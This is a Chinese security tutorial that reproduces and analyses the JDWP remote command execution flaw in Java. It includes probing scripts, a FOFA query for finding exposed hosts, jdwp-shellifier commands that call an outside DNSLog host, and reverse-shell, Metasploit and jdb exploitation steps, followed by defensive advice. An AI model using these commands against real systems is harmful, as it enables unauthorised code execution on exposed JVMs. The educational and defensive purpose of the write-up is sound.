JAVA安全之jdwp命令执行漏洞复现与分析
字数 1406 2025-08-11 08:35:42

JAVA安全之JDWP命令执行漏洞复现与分析

一、漏洞简介

JDWP结构简介

JDWP(Java Debug Wire Protocol)是全球Java调试系统的组件之一,称为Java平台调试架构(JPDA)的一部分。整体架构分为三层:

  1. JVMTI(Java VM Tool Interface):定义JVM提供的调试服务
  2. JDWP(Java Debug Wire Protocol):定义debuggee和debugger进程之间的通信
  3. JDI(Java Debug Interface):定义高级Java语言接口,用于编写远程调试器应用

JPDA体系

在JPDA体系中:

  • 前端(debugger)和后端(debuggee)进程之间的交互数据格式由JDWP描述
  • JDWP实现了请求命令、回应数据和错误代码的定义
  • 在Sun的实现中,jdwp.dll/jdwp.so动态库负责解析前端请求并转化为JVMTI调用

JDWP协议特性

  • 基于数据包的网络二进制协议
  • 主要是同步的(调试器发送命令并期望回复)
  • 某些命令(如事件)不需要同步响应
  • 不使用身份验证和加密

二、漏洞原理

漏洞本质

JDWP漏洞是指攻击者可以通过网络连接到运行中的JVM,利用JDWP协议中的安全漏洞执行恶意代码或获取敏感信息。

漏洞成因

  1. JVM在默认配置下启用了JDWP
  2. JDWP端口暴露在网络上
  3. 攻击者可通过JDWP协议向JVM发送指令,控制JVM执行恶意代码
  4. 攻击者可获取JVM中的敏感信息(类名、方法名、变量名等)

调试过程关键点

  1. VirtualMachine/IDSizes:获取JVM处理的数据结构大小
  2. ClassType/InvokeMethod:调用静态方法
  3. ObjectReference/InvokeMethod:调用实例化对象的方法
  4. Event/Composite:强制JVM对特定行为做出回应(设置断点、单步调试等)

三、环境搭建

CentOS安装Tomcat

  1. 下载Tomcat解压版(非一键安装版)
  2. 解压安装:
    tar -zxvf apache-tomcat-7.0.108.tar.gz
    mkdir /opt/tomcat
    mv apache-tomcat-7.0.108 /opt/tomcat/
    
  3. 修改配置文件启动环境

FOFA语法探测

使用banner="jdwp"语法可探测存在JDWP服务的系统

四、服务探测

探测方法

  1. Nmap扫描

    nmap -p <port> <target>
    

    会识别JDWP服务及JDK版本信息

  2. Telnet探测

    { echo "JDWP-Handshake"; sleep 20 } | telnet <target> <port>
    

    若返回"JDWP-Handshake"则存在服务

  3. Python脚本探测

    import socket
    client = socket.socket()
    client.connect(("<target>", <port>))
    client.send(b"JDWP-Handshake")
    if client.recv(1024) == b"JDWP-Handshake":
        print("[*]JDWP Service!")
    client.close()
    

端口扫描注意事项

  1. nmap默认只扫描常见1000个端口
  2. 可通过-p指定端口范围
  3. 使用sudo nmap -v -oG - -sSU查看扫描频率

五、漏洞复现

1. 使用jdwp-shellifier工具

  1. 下载工具:

    git clone https://github.com/IOActive/jdwp-shellifier
    
  2. 无回显探测(DNSLog):

    python2 jdwp-shellifier.py -t <target> -p <port> --break-on "java.lang.String.indexof" --cmd "ping xxx.dnslog.cn"
    
  3. 反弹Shell步骤:

    • 准备反弹shell文件(shell.txt)
    • 开启HTTP服务提供下载
    • 执行命令下载并执行shell文件

2. 使用Metasploit

use exploit/multi/misc/java_jdwp_debugger
set rhosts <target>
set payload linux/x64/shell/bind_tcp
run

3. 使用jdb(JDK自带工具)

jdb -connect com.sun.jdi.SocketAttach:hostname=<target>,port=<port>
eval java.lang.Runtime.getRuntime().exec("calc")

六、防御方式

  1. 关闭JDWP服务或限制不对外开放
  2. 关闭Java Debug模式
  3. 远程调试安全建议
    • 生产环境不应开启debug
    • 关闭对外远程debug端口
    • 远程调试应绑定到127.0.0.1
    • 使用socat进行安全转发:
      socat TCP4-LISTEN:5005,fork,range=0.0.0.0/32 TCP4:127.0.0.1:8399
      
    • 在IDE中配置Remote时使用公网IP和转发端口

参考资源

  1. JDWP远程代码执行漏洞分析
  2. 浅析JDWP远程代码执行漏洞
  3. JDWP协议分析
JAVA安全之JDWP命令执行漏洞复现与分析 一、漏洞简介 JDWP结构简介 JDWP(Java Debug Wire Protocol)是全球Java调试系统的组件之一,称为Java平台调试架构(JPDA)的一部分。整体架构分为三层: JVMTI (Java VM Tool Interface):定义JVM提供的调试服务 JDWP (Java Debug Wire Protocol):定义debuggee和debugger进程之间的通信 JDI (Java Debug Interface):定义高级Java语言接口,用于编写远程调试器应用 JPDA体系 在JPDA体系中: 前端(debugger)和后端(debuggee)进程之间的交互数据格式由JDWP描述 JDWP实现了请求命令、回应数据和错误代码的定义 在Sun的实现中,jdwp.dll/jdwp.so动态库负责解析前端请求并转化为JVMTI调用 JDWP协议特性 基于数据包的网络二进制协议 主要是同步的(调试器发送命令并期望回复) 某些命令(如事件)不需要同步响应 不使用身份验证和加密 二、漏洞原理 漏洞本质 JDWP漏洞是指攻击者可以通过网络连接到运行中的JVM,利用JDWP协议中的安全漏洞执行恶意代码或获取敏感信息。 漏洞成因 JVM在默认配置下启用了JDWP JDWP端口暴露在网络上 攻击者可通过JDWP协议向JVM发送指令,控制JVM执行恶意代码 攻击者可获取JVM中的敏感信息(类名、方法名、变量名等) 调试过程关键点 VirtualMachine/IDSizes :获取JVM处理的数据结构大小 ClassType/InvokeMethod :调用静态方法 ObjectReference/InvokeMethod :调用实例化对象的方法 Event/Composite :强制JVM对特定行为做出回应(设置断点、单步调试等) 三、环境搭建 CentOS安装Tomcat 下载Tomcat解压版(非一键安装版) 解压安装: 修改配置文件启动环境 FOFA语法探测 使用 banner="jdwp" 语法可探测存在JDWP服务的系统 四、服务探测 探测方法 Nmap扫描 : 会识别JDWP服务及JDK版本信息 Telnet探测 : 若返回"JDWP-Handshake"则存在服务 Python脚本探测 : 端口扫描注意事项 nmap默认只扫描常见1000个端口 可通过 -p 指定端口范围 使用 sudo nmap -v -oG - -sSU 查看扫描频率 五、漏洞复现 1. 使用jdwp-shellifier工具 下载工具: 无回显探测(DNSLog): 反弹Shell步骤: 准备反弹shell文件(shell.txt) 开启HTTP服务提供下载 执行命令下载并执行shell文件 2. 使用Metasploit 3. 使用jdb(JDK自带工具) 六、防御方式 关闭JDWP服务 或限制不对外开放 关闭Java Debug模式 远程调试安全建议 : 生产环境不应开启debug 关闭对外远程debug端口 远程调试应绑定到127.0.0.1 使用socat进行安全转发: 在IDE中配置Remote时使用公网IP和转发端口 参考资源 JDWP远程代码执行漏洞分析 浅析JDWP远程代码执行漏洞 JDWP协议分析